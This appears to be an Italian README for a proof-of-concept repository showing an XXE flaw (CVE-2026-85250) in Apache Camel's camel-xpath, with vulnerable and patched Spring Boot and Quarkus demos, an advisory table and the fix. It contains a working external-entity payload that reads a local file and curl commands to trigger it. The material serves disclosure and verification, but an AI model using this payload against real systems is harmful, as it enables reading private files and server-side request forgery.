
Proof-of-concept eseguibile di XXE per CVE-2026-85250 in Apache Camel camel-xpath (documentType=InputSource), con demo interessate e corrette per Spring Boot e Quarkus.
documentType=InputSource)PoC riproducibile ed eseguibile per la vulnerabilità di Apache Camel in cui, con documentType impostato a
InputSource, XPathBuilder passava il payload direttamente a javax.xml.xpath, che costruisce un proprio DocumentBuilder
utilizzando i default della JDK. L'hardening applicato al tipo di documento predefinito di Camel veniva quindi aggirato: una
dichiarazione DOCTYPE che viene rifiutata sul tipo predefinito veniva accettata qui, e l'entità esterna che dichiarava veniva
risolta ed espansa nel documento valutato. Un mittente esterno il cui XML raggiunge una tale espressione potrebbe
leggere file leggibili dal processo Camel e indurre il processo a effettuare richieste verso host da esso indicati.
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-xpath 4.22.0 (affetto; corretto in 4.22.1) |
| Camel Quarkus | camel-quarkus/ | Quarkus 3.29.0 + camel-quarkus-xpath (Camel 4.15.0, affetto; controllo corretto CQ 3.40.0 / Camel 4.22.1) |
Entrambi i moduli dimostrano il comportamento affetto e quello corretto.
Un file "segreto" benigno viene collocato su disco (cve-2026-85250-secret.txt, contenente una stringa marcatore), che rappresenta un
file locale leggibile dal processo Camel. L'attaccante invia XML — come InputStream, che è ciò che viene convertito in un
InputSource — recante un DOCTYPE la cui entità esterna fa riferimento a quel file:
<!DOCTYPE foo [ <!ELEMENT test ANY > <!ENTITY xxe SYSTEM "file:///…/cve-2026-85250-secret.txt" >]>
<test>&xxe;</test>
La route valuta xpath("/test/text()").documentType(InputSource.class) sul body.
InputSource (default della JDK) risolve l'entità esterna, quindi il risultato dell'XPath è il
contenuto del file — il marker viene esfiltrato.DOCTYPE viene rifiutato dal parser rafforzato (lo stesso usato dal tipo di documento predefinito), quindi
la valutazione fallisce prima che qualsiasi entità venga risolta.# Camel Spring Boot
cd camel-spring-boot
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected: file contents leak into the result; >>> PROVEN
docker compose down
# Patched control
mvn clean package -Dcamel.version=4.22.1
java -jar target/cve-2026-85250-xpath-xxe-0.0.1-SNAPSHOT.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused; >>> Not exploited
# Camel Quarkus
cd camel-quarkus
mvn clean package
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack # affected (Camel 4.15.0): file contents leak
docker compose down
# Patched control: CQ 3.40.0 ships Camel 4.22.1
mvn clean package -Dcamel-quarkus.version=3.40.0 -Dquarkus.platform.version=3.40.0
java -jar target/quarkus-app/quarkus-run.jar &
curl -s http://localhost:8080/exploit/attack # fixed: DOCTYPE refused
| Proprietà | Valore |
|---|---|
| Componente | camel-xpath (XPathBuilder, documentType=InputSource) |
| CWE | CWE-611 (Limitazione impropria del riferimento a entità esterne XML) |
| Gravità | ALTA |
| Vettore di attacco | XML non attendibile valutato da un'espressione XPath configurata con documentType=InputSource |
| Impatto | XXE: divulgazione di file locali e server-side request forgery tramite entità esterne |
| Versioni interessate | Dalla 4.0.0 precedente alla 4.18.5, dalla 4.19.0 precedente alla 4.22.1 |
| Versioni corrette | 4.18.5, 4.22.1, 4.23.0 |
| JIRA | CAMEL-24475 |
| Riconoscimento | Claude Security Scan Tool |
Avviso: https://camel.apache.org/security/CVE-2026-85250.html
XPathBuilder ora instrada un InputSource (e un SAXSource) attraverso
toHardenedDocument(), che lo converte in un org.w3c.dom.Document utilizzando lo stesso DocumentBuilderFactory
irrobustito già usato dal tipo di documento predefinito, prima di passarlo al motore XPath — così entrambi
i tipi di documento vengono analizzati con la stessa configurazione e un DOCTYPE viene rifiutato. Si noti che il tipo InputSource ora condivide
anche la via di fuga documentata del tipo predefinito: le stesse proprietà di sistema DocumentBuilderFactory che allentano il
tipo predefinito allentano anche questo.
Non utilizzare documentType=InputSource su espressioni valutate su XML non attendibile; il tipo di documento predefinito già
rifiuta un DOCTYPE.
Questo repository è pubblicato per scopi educativi e difensivi: per aiutare gli utenti di Apache Camel a comprendere la vulnerabilità, verificare se ne sono interessati e confermare che l'aggiornamento la risolve. Il file "secret" è un marcatore inerte e piantato. Non utilizzare questo materiale contro sistemi di cui non si è proprietari o gestori.